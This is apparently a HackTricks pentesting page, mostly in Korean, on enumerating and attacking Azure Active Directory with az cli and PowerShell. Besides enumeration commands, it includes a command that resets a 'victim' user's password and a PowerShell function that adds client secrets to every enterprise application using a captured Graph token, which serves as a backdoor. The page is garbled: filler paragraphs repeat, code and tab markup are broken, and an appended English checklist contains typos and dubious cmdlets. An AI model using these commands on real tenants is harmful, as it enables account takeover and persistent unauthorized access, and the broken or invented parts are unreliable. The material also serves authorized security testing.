Az - AzureAD (AAD)

HackTricks 지원하기

기본 정보

Azure Active Directory (Azure AD)는 Microsoft의 클라우드 기반 식별 및 액세스 관리 서비스로 작용합니다. 이는 직원들이 조직 내외의 리소스에 로그인하고 액세스할 수 있도록 하는 데 중요한 역할을 합니다. 이는 Microsoft 365, Azure 포털 및 다양한 기타 SaaS 애플리케이션을 포함합니다. Azure AD의 설계는 인증, 권한 부여 및 사용자 관리를 중점으로 하는 필수적인 식별 서비스를 제공하는 데 초점이 있습니다.

Azure AD의 주요 기능은 다중 요소 인증조건부 액세스이며, 다른 Microsoft 보안 서비스와의 원활한 통합을 제공합니다. 이러한 기능은 사용자 식별의 보안을 크게 향상시키고 조직이 액세스 정책을 효과적으로 시행하고 강제할 수 있도록 지원합니다. Microsoft의 클라우드 서비스 생태계의 기본 구성 요소로서, Azure AD는 사용자 식별의 클라우드 기반 관리에 중요한 역할을 합니다.

엔터티

열거

이 열거를 위해 az cli 도구, PowerShell 모듈 AzureAD (또는 AzureAD Preview) 및 Az PowerShell 모듈을 사용할 수 있습니다.

리눅스에서는 PowerShell Core를 설치해야 합니다:

sudo apt-get update
sudo apt-get install -y wget apt-transport-https software-properties-common

# Ubuntu 20.04
wget -q https://packages.microsoft.com/config/ubuntu/20.04/packages-microsoft-prod.deb

# Update repos
sudo apt-get update
sudo add-apt-repository universe

# Install & start powershell
sudo apt-get install -y powershell
pwsh

# Az cli
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash

모듈 차이점

  • AzureADAzure AD를 관리하기 위한 Microsoft의 PowerShell 모듈입니다. Azure AD 객체의 모든 속성을 표시하지 않으며 Azure 리소스 정보에 액세스하는 데 사용할 수 없습니다.

  • Az PowerShellPowerShell 명령줄에서 Azure 리소스를 관리하기 위한 모듈입니다.

연결

az login #This will open the browser
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p VerySecret --tenant contoso.onmicrosoft.com #With password
az login --service-principal -u http://azure-cli-2016-08-05-14-31-15 -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com #With cert

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

CLI를 통해 Azure에 로그인할 때, Microsoft에 속한 테넌트Azure Application을 사용합니다. 이러한 애플리케이션들은 계정에서 만들 수 있는 것과 같이 클라이언트 ID를 가지고 있습니다. 콘솔에서 볼 수 있는 허용된 애플리케이션 목록에는 모두 표시되지 않을 수 있지만, 기본적으로 허용됩니다.

예를 들어, 파워쉘 스크립트는 클라이언트 ID **1950a258-227b-4e31-a9cf-717495945fc2**를 사용하는 앱을 인증합니다. 콘솔에 앱이 나타나지 않더라도 시스템 관리자는 해당 애플리케이션을 차단하여 해당 앱을 통해 연결하는 도구를 사용하는 사용자가 액세스할 수 없도록 할 수 있습니다.

그러나 Azure에 연결할 수 있는 다른 클라이언트 ID도 있습니다:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

사용자

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from AzureAD
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user
az role assignment list --include-groups --include-classic-administrators true --assignee <email>

Azure AD

Azure AD는 Microsoft의 신원 및 액세스 관리 서비스입니다. Azure AD를 통해 사용자 및 그룹을 관리하고 다양한 SaaS 응용 프로그램에 대한 액세스를 제어할 수 있습니다.

Azure AD를 사용하여 다음을 수행할 수 있습니다.

  • 사용자 계정 만들기

  • 그룹 만들기

  • 다중 요소 인증 구성

  • 비즈니스 애플리케이션에 대한 SSO(Single Sign-On) 구성

Azure AD는 클라우드 기반의 서비스이므로 올바르게 구성되지 않은 경우 보안 위협에 노출될 수 있습니다. 따라서 Azure AD의 보안 구성을 신중하게 검토하고 구현해야 합니다.

# Enumerate Users
Get-AzureADUser -All $true
Get-AzureADUser -All $true | select UserPrincipalName
# Get info of 1 user
Get-AzureADUser -ObjectId test@corp.onmicrosoft.com | fl
# Search "admin" users
Get-AzureADUser -SearchString "admin" #Search admin at the begining of DisplayName or userPrincipalName
Get-AzureADUser -All $true |?{$_.Displayname -match "admin"} #Search "admin" word in DisplayName
# Get all attributes of a user
Get-AzureADUser -ObjectId test@defcorphq.onmicrosoft.com|%{$_.PSObject.Properties.Name}
# Search attributes containing the word "password"
Get-AzureADUser -All $true |%{$Properties = $_;$Properties.PSObject.Properties.Name | % {if ($Properties.$_ -match 'password') {"$($Properties.UserPrincipalName) - $_ - $($Properties.$_)"}}}
# All users from AzureAD# All users from AzureAD
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All users synced from on-prem
Get-AzureADUser -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Objects created by a/any user
Get-AzureADUser [-ObjectId <email>] | Get-AzureADUserCreatedObject
# Devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Objects owned by a specific user
Get-AzureADUserOwnedObject -ObjectId test@corp.onmicrosoft.com
# Get groups & roles where the user is a member
Get-AzureADUserMembership -ObjectId 'test@corp.onmicrosoft.com'
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get devices registered by a user
Get-AzureADUserRegisteredDevice -ObjectId test@defcorphq.onmicrosoft.com
# Apps where a user has a role (role not shown)
Get-AzureADUser -ObjectId roygcain@defcorphq.onmicrosoft.com | Get-AzureADUserAppRoleAssignment | fl *
# Get Administrative Units of a user
$userObj = Get-AzureADUser -Filter "UserPrincipalName eq 'bill@example.com'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where { $_.Id -eq $userObj.ObjectId } }

Az PowerShell

Enumerate Azure AD roles

To list all Azure AD roles, you can use the following command:

Get-AzureADDirectoryRole

To get a specific Azure AD role, you can use:

Get-AzureADDirectoryRole -SearchString "RoleName"

Enumerate Azure AD role members

To list all members of a specific Azure AD role, you can use the following command:

Get-AzureADDirectoryRoleMember -ObjectId "RoleObjectID"

Enumerate Azure AD users

To list all Azure AD users, you can use:

Get-AzureADUser

To get a specific Azure AD user, you can use:

Get-AzureADUser -ObjectId "UserObjectID"

Enumerate Azure AD groups

To list all Azure AD groups, you can use:

Get-AzureADGroup

To get a specific Azure AD group, you can use:

Get-AzureADGroup -ObjectId "GroupObjectID"

Enumerate Azure AD group members

To list all members of a specific Azure AD group, you can use the following command:

Get-AzureADGroupMember -ObjectId "GroupObjectID"

Enumerate Azure AD applications

To list all Azure AD applications, you can use:

Get-AzureADApplication

To get a specific Azure AD application, you can use:

Get-AzureADApplication -ObjectId "ApplicationObjectID"

Enumerate Azure AD service principals

To list all Azure AD service principals, you can use:

Get-AzureADServicePrincipal

To get a specific Azure AD service principal, you can use:

Get-AzureADServicePrincipal -ObjectId "ServicePrincipalObjectID"

Enumerate Azure AD devices

To list all Azure AD devices, you can use:

Get-AzureADDevice

To get a specific Azure AD device, you can use:

Get-AzureADDevice -ObjectId "DeviceObjectID"

Enumerate Azure AD sign-ins

To list all Azure AD sign-ins, you can use:

Get-AzureADAuditSignInLogs

Enumerate Azure AD audit logs

To list all Azure AD audit logs, you can use:

Search-AzureADAuditLog

Enumerate Azure AD risky sign-ins

To list all risky sign-ins in Azure AD, you can use:

Get-AzureADSignInLogs -Filter "riskLevel eq 'high'"

Enumerate Azure AD risky users

To list all risky users in Azure AD, you can use:

Get-AzureADUser -Filter "isRiskEvent eq true"

Enumerate Azure AD risky sign-ins and users

To list all risky sign-ins and users in Azure AD, you can use:

Get-AzureADSignInLogs -Filter "riskLevel eq 'high'" | Get-AzureADUser -Filter "isRiskEvent eq true"
# Enumerate users
Get-AzADUser
# Get details of a user
Get-AzADUser -UserPrincipalName test@defcorphq.onmicrosoft.com
# Search user by string
Get-AzADUser -SearchString "admin" #Search at the beginnig of DisplayName
Get-AzADUser | ?{$_.Displayname -match "admin"}
# Get roles assigned to a user
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com

사용자 비밀번호 변경

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA 및 조건부 액세스 정책

모든 사용자에게 MFA를 추가하는 것이 매우 권장되지만, 일부 회사들은 설정하지 않을 수도 있고 조건부 액세스로 설정할 수도 있습니다: 사용자는 특정 위치, 브라우저 또는 일부 조건에서 로그인할 경우 MFA가 필요합니다. 이러한 정책은 올바르게 구성되지 않으면 우회될 수 있습니다. 확인하세요:

Az - Conditional Access Policies / MFA Bypass

그룹

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from AzureAD
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get Apps where a group has a role (role not shown)
Get-AzureADGroup -ObjectId <id> | Get-AzureADGroupAppRoleAssignment | fl *

Azure AD에 대한 테스트는 주로 사용자 계정을 대상으로 합니다. 사용자 계정을 통해 인증된 후에는 다른 서비스 및 리소스에 액세스할 수 있습니다. 사용자 계정을 탈취하면 기업의 기밀 정보에 접근할 수 있으므로 Azure AD의 보안을 강화하는 것이 중요합니다.

Azure AD 테스트 중에는 다음을 확인해야 합니다.

  • 약한 패스워드 정책

  • 다단계 인증 비활성화

  • 사용자 계정의 비활성화 또는 삭제 절차 부재

  • 특권 계정의 부적절한 구성

  • 사용자 계정의 권한 상승 가능성

# Enumerate Groups
Get-AzureADGroup -All $true
# Get info of 1 group
Get-AzADGroup -DisplayName <resource_group_name> | fl
# Get "admin" groups
Get-AzureADGroup -SearchString "admin" | fl #Groups starting by "admin"
Get-AzureADGroup -All $true |?{$_.Displayname -match "admin"} #Groups with the word "admin"
# Get groups allowing dynamic membership
Get-AzureADMSGroup | ?{$_.GroupTypes -eq 'DynamicMembership'}
# All groups that are from Azure AD
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -eq $null}
# All groups that are synced from on-prem (note that security groups are not synced)
Get-AzureADGroup -All $true | ?{$_.OnPremisesSecurityIdentifier -ne $null}
# Get members of a group
Get-AzureADGroupMember -ObjectId <group_id>
# Get roles of group
Get-AzureADMSGroup -SearchString "Contoso_Helpdesk_Administrators" #Get group id
Get-AzureADMSRoleAssignment -Filter "principalId eq '69584002-b4d1-4055-9c94-320542efd653'"
# Get Administrative Units of a group
$groupObj = Get-AzureADGroup -Filter "displayname eq 'TestGroup'"
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -Id $_.Id | where {$_.Id -eq $groupObj.ObjectId} }

Azure AD를 펜테스트하는 동안 Az PowerShell을 사용하여 다양한 작업을 수행할 수 있습니다. Az PowerShell을 사용하면 Azure AD 리소스를 관리하고 모니터링할 수 있습니다. 이를 통해 사용자, 그룹, 응용 프로그램 등을 만들고 관리할 수 있습니다. Az PowerShell을 사용하여 Azure AD에서 펜테스트를 수행하는 방법에 대해 자세히 알아보겠습니다.

# Get all groups
Get-AzADGroup
# Get details of a group
Get-AzADGroup -ObjectId <id>
# Search group by string
Get-AzADGroup -SearchString "admin" | fl * #Search at the beginnig of DisplayName
Get-AzADGroup |?{$_.Displayname -match "admin"}
# Get members of group
Get-AzADGroupMember -GroupDisplayName <resource_group_name>
# Get roles of group
Get-AzRoleAssignment -ResourceGroupName <resource_group_name>

그룹에 사용자 추가

그룹 소유자는 새 사용자를 그룹에 추가할 수 있습니다

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

그룹은 동적일 수 있습니다. 이는 사용자가 특정 조건을 충족하면 그룹에 추가된다는 것을 기본적으로 의미합니다. 물론, 조건이 속성에 기반하고 사용자제어할 수 있는 경우, 이 기능을 남용하여 다른 그룹에 들어갈 수 있습니다. 다음 페이지에서 동적 그룹을 남용하는 방법을 확인하세요:

Az - Dynamic Groups Privesc

서비스 주체 / 기업 응용 프로그램

PowerShell 용 서비스 주체는 Azure 포털(웹)에서 기업 응용 프로그램이라고 불립니다.

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# List apps that have password credentials
az ad sp list --all --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad sp list -all --query "[?keyCredentials != null].displayName"

Azure AD에 대한 펜테스팅은 조직의 사용자, 그룹, 응용 프로그램 및 기타 리소스에 대한 보안을 평가하는 데 도움이 됩니다. Azure AD의 보안을 강화하려면 다음을 고려해야 합니다.

  • 강력한 암호 정책 구성

  • 멀티 팩터 인증(MFA) 활성화

  • 사용자의 트래픽을 모니터링하여 이상 징후 식별

  • 권한이 부여된 사용자 및 응용 프로그램을 모니터링하여 비인가된 액세스 방지

Azure AD의 보안을 강화하기 위해 이러한 조치를 취할 수 있습니다.

# Get Service Principals
Get-AzureADServicePrincipal -All $true
# Get details about a SP
Get-AzureADServicePrincipal -ObjectId <id> | fl *
# Get SP by string name or Id
Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -match "app"} | fl
Get-AzureADServicePrincipal -All $true | ?{$_.AppId -match "103947652-1234-5834-103846517389"}
# Get owner of SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwner |fl *
# Get objects owned by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalOwnedObject
# Get objects created by a SP
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalCreatedObject
# Get groups where the SP is a member
Get-AzureADServicePrincipal | Get-AzureADServicePrincipalMembership
Get-AzureADServicePrincipal -ObjectId <id> | Get-AzureADServicePrincipalMembership |fl *

Azure AD를 관리하는 데 사용할 수 있는 PowerShell 명령어를 제공합니다. Azure AD를 효과적으로 관리하고 구성하는 데 도움이 됩니다.

# Get SPs
Get-AzADServicePrincipal
# Get info of 1 SP
Get-AzADServicePrincipal -ObjectId <id>
# Search SP by string
Get-AzADServicePrincipal | ?{$_.DisplayName -match "app"}
# Get roles of a SP
Get-AzRoleAssignment -ServicePrincipalName <String>

{% 탭 제목="원시" %}

$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method  = 'GET'
Uri     = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

서비스 주체의 소유자는 해당 비밀번호를 변경할 수 있습니다.

모든 엔터프라이즈 앱에서 클라이언트 비밀번호를 나열하고 추가하려고 시도하십시오.

```powershell # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken 'eyJ0eX..'

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications" "Method" = "GET" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ "URI" = "https://graph.microsoft.com/v1.0/applications/$ID/addPassword" "Method" = "POST" "Headers" = @{ "Content-Type" = "application/json" "Authorization" = "Bearer $GraphToken" } }

$Body = @{ "passwordCredential"= @{ "displayName" = "Password" } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName "Object ID" -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName "App ID" -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName "App Name" -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName "Key ID" -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName "Secret" -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output "Failed to add new client secret to '$($App.displayName)' Application." } } if($Details -ne $null) { Write-Output "" Write-Output "Client secret added to : " Write-Output $Details | fl * } } else { Write-Output "Failed to Enumerate the Applications." } }

</details>

### 역할

<div data-gb-custom-block data-tag="tabs"></div>

<div data-gb-custom-block data-tag="tab" data-title='az cli'>

```bash
# Get roles
az role definition list
# Get assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,resourceGroup:resourceGroup,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"

Azure AD

Azure AD는 Microsoft의 신원 및 액세스 관리 서비스입니다. Azure AD를 통해 사용자 및 그룹을 관리하고 다양한 애플리케이션에 대한 액세스를 제어할 수 있습니다.

Azure AD 펜 테스트

Azure AD 펜 테스트를 수행하여 조직의 신원 및 액세스 관리 구성을 평가하고 약점을 식별할 수 있습니다. 이를 통해 보안 수준을 향상시키고 잠재적인 위협으로부터 조직을 보호할 수 있습니다.

Azure AD 보안 모범 사례

Azure AD 보안 모범 사례를 준수하여 사용자 계정의 안전을 유지하고 조직의 데이터를 안전하게 보호할 수 있습니다. 다단계 인증, 조건부 액세스 및 감사 로깅과 같은 기능을 활용하여 보안을 강화할 수 있습니다.

# Get all available role templates
Get-AzureADDirectoryroleTemplate
# Get enabled roles (Assigned roles)
Get-AzureADDirectoryRole
Get-AzureADDirectoryRole -ObjectId <roleID> #Get info about the role
# Get custom roles - use AzureAdPreview
Get-AzureADMSRoleDefinition | ?{$_.IsBuiltin -eq $False} | select DisplayName
# Users assigned a role (Global Administrator)
Get-AzureADDirectoryRole -Filter "DisplayName eq 'Global Administrator'" | Get-AzureADDirectoryRoleMember
Get-AzureADDirectoryRole -ObjectId <id> | fl
# Roles of the Administrative Unit (who has permissions over the administrative unit and its members)
Get-AzureADMSScopedRoleMembership -Id <id> | fl *

Azure AD를 편리하게 관리하기 위해 Az PowerShell을 사용할 수 있습니다. Az PowerShell을 사용하면 Azure AD 리소스를 만들고 구성하며, 사용자 및 그룹을 관리할 수 있습니다. Az PowerShell을 통해 Azure AD의 보안을 강화하고 모니터링할 수 있습니다.

# Get role assignments on the subscription
Get-AzRoleDefinition
# Get Role definition
Get-AzRoleDefinition -Name "Virtual Machine Command Executor"
# Get roles of a user or resource
Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com
Get-AzRoleAssignment -Scope /subscriptions/<subscription-id>/resourceGroups/<res_group_name>/providers/Microsoft.Compute/virtualMachines/<vm_name>

다음은 Azure AD 페네테이션에 대한 몇 가지 팁입니다.

  1. Azure AD 페네테이션을 수행할 때는 항상 조직의 동의를 받아야 합니다.

  2. Azure AD 애플리케이션의 권한을 최소화하여 필요한 최소한의 권한만 부여해야 합니다.

  3. Azure AD 애플리케이션을 등록할 때는 가능한 한 제한된 범위의 권한을 사용해야 합니다.

  4. Azure AD 애플리케이션을 테스트할 때는 실제 사용자가 아닌 테스트 계정을 사용해야 합니다.

  5. Azure AD 애플리케이션의 보안을 강화하기 위해 멀티 팩터 인증을 활성화해야 합니다.

  6. Azure AD 애플리케이션의 로깅 및 감사 로그를 정기적으로 확인하여 이상 징후를 신속하게 감지해야 합니다.

# Get permissions over a resource using ARM directly
$Token = (Get-AzAccessToken).Token
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/Research/providers/Microsoft.Compute/virtualMachines/infradminsrv/providers/Microsoft.Authorization/permissions?api-version=2015-07-01'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value

장치

# If you know how to do this send a PR!

Azure AD에 대한 펜테스팅은 조직의 사용자, 그룹, 응용 프로그램 및 기타 리소스에 대한 액세스 및 권한을 평가하는 것을 포함합니다. 이를 통해 조직은 Azure AD 구성의 취약점을 식별하고 보완할 수 있습니다. Azure AD의 보안을 강화하기 위해 다양한 기술과 도구를 사용할 수 있습니다.

# Enumerate Devices
Get-AzureADDevice -All $true | fl *
# List all the active devices (and not the stale devices)
Get-AzureADDevice -All $true | ?{$_.ApproximateLastLogonTimeStamp -ne $null}
# Get owners of all devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredOwner
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredOwner -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Registred users of all the devices
Get-AzureADDevice -All $true | Get-AzureADDeviceRegisteredUser
Get-AzureADDevice -All $true | %{if($user=Get-AzureADDeviceRegisteredUser -ObjectId $_.ObjectID){$_;$user.UserPrincipalName;"`n"}}
# Get dives managed using Intune
Get-AzureADDevice -All $true | ?{$_.IsCompliant -eq "True"}
# Get devices owned by a user
Get-AzureADUserOwnedDevice -ObjectId test@corp.onmicrosoft.com
# Get Administrative Units of a device
Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember -ObjectId $_.ObjectId | where {$_.ObjectId -eq $deviceObjId} }

만약 장치(VM)가 AzureAD에 가입되어 있다면, AzureAD의 사용자들이 로그인할 수 있습니다. 게다가, 로그인한 사용자가 장치의 소유자인 경우, 그 사용자는 로컬 관리자가 됩니다.

어플리케이션

**앱(Apps)**은 포털의 **앱 등록(App Registrations)**입니다(Enterprise Applications이 아닙니다). 그러나 각 앱 등록은 동일한 이름의 **Enterprise Application(서비스 주체)**을 생성합니다. 게다가, 앱이 다중 테넌트 앱인 경우, 다른 Enterprise Application(서비스 주체)이 해당 테넌트에 동일한 이름으로 생성됩니다.

앱이 생성될 때 2가지 유형의 권한이 부여됩니다:

  • 서비스 주체에 부여된 권한

  • 사용자를 대신하여 이 가질 수 있고 사용할 권한.

# List Apps
az ad app list
az ad app list --query "[].[displayName]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# List all the apps with an application password
az ad app list --query "[?passwordCredentials != null].displayName"
# List apps that have key credentials (use of certificate authentication)
az ad app list --query "[?keyCredentials != null].displayName"

Azure AD

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

Azure AD를 관리하는 데 사용할 수 있는 PowerShell 명령어를 제공합니다. Azure AD를 효과적으로 관리하고 구성하는 데 도움이 됩니다.

# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

AppRoleAssignment.ReadWrite 권한을 가진 앱은 자체 역할을 부여함으로써 글로벌 관리자로 승격할 수 있습니다. 자세한 정보는 여기를 확인하세요.

애플리케이션이 토큰을 요청할 때 신원을 증명하는 데 사용하는 비밀 문자열은 애플리케이션 비밀번호입니다. 따라서 이 비밀번호를 찾으면 서비스 주체테넌트 내부에 액세스할 수 있습니다. 이 비밀번호는 생성될 때만 표시되며 (변경할 수 있지만 다시 가져올 수는 없음) 애플리케이션의 소유자는 이에 비밀번호를 추가할 수 있습니다 (따라서 그를 흉내 낼 수 있음). 이러한 서비스 주체로 로그인하면 위험으로 표시되지 않으며 MFA가 없습니다.

애플리케이션 및 (기업 애플리케이션 또는 서비스 주체)의 차이

Azure에서 애플리케이션과 서비스 주체의 차이점:

  • 애플리케이션/앱 등록: Azure AD에 존재하는 애플리케이션

  • (Get-AzureADApplication -filter "DisplayName eq 'testapp'")

  • 서비스 주체/기업 애플리케이션: Azure AD의 보안 개체로 Azure 디렉터리에서 권한을 가질 수 있으며 애플리케이션 또는 제3자 애플리케이션에 연결됩니다.

  • Get-AzureADServicePrincipal -filter "DisplayName eq 'testapp'")

  • 매우 민감한 권한을 부여해야 하는 경우 관리자가 해당 권한을 승인해야 할 수 있습니다.

애플리케이션은 제3자 테넌트를 실행할 수 있으며 한 번 사용을 시작하고 액세스 권한을 부여하면 기업 애플리케이션/서비스 주체가 귀하의 테넌트에 생성되어 필요한 정보에 액세스할 수 있습니다.

관리 단위

사용자를 더 잘 관리하기 위해 사용됩니다.

관리 단위는 조직의 어떤 부분에 대한 역할 권한을 제한합니다. 예를 들어 Helpdesk Administrator 역할을 지역 지원 전문가에게 위임하여 해당 지역의 사용자만 관리할 수 있도록 할 수 있습니다.

따라서 관리자 단위에 역할을 할당할 수 있으며 해당 구성원은 해당 역할을 갖게 됩니다.

AzureAD

Enumeration

  1. User Enumeration: Use the Graph API to enumerate users in the directory.

  2. Group Enumeration: Use the Graph API to enumerate groups in the directory.

  3. Application Enumeration: Use the Graph API to enumerate applications in the directory.

Password Spraying

  1. Password Spraying: Perform password spraying attacks against Azure AD accounts.

Brute Force

  1. Brute Force: Perform brute force attacks against Azure AD accounts.

Phishing

  1. Phishing: Use phishing techniques to steal Azure AD credentials.

Token Extraction

  1. Token Extraction: Extract tokens from Azure AD to maintain persistence.

Password Attacks

  1. Password Attacks: Perform password attacks to crack Azure AD passwords.

Password Policies

  1. Password Policies: Check for weak password policies in Azure AD.

Multi-Factor Authentication Bypass

  1. MFA Bypass: Attempt to bypass multi-factor authentication in Azure AD.

Privilege Escalation

  1. Privilege Escalation: Attempt to escalate privileges within Azure AD.

Data Exfiltration

  1. Data Exfiltration: Exfiltrate data from Azure AD using various techniques.

Backdooring

  1. Backdooring: Create backdoors in Azure AD for future access.

Persistence

  1. Persistence: Maintain persistence within Azure AD for long-term access.

Enumeration

  1. Enumeration: Enumerate Azure AD resources to gather information for further attacks.

Exploitation

  1. Exploitation: Exploit vulnerabilities in Azure AD for unauthorized access.

Social Engineering

  1. Social Engineering: Use social engineering techniques to manipulate Azure AD users.

Insider Threats

  1. Insider Threats: Expinternal threats from within Azure AD users to compromise security.

Monitoring

  1. Monitoring: Monitor Azure AD activities for suspicious behavior.

Logging

  1. Logging: Check Azure AD logs for any signs of unauthorized access.

Reporting

  1. Reporting: Generate reports on Azure AD security findings and recommendations.

Best Practices

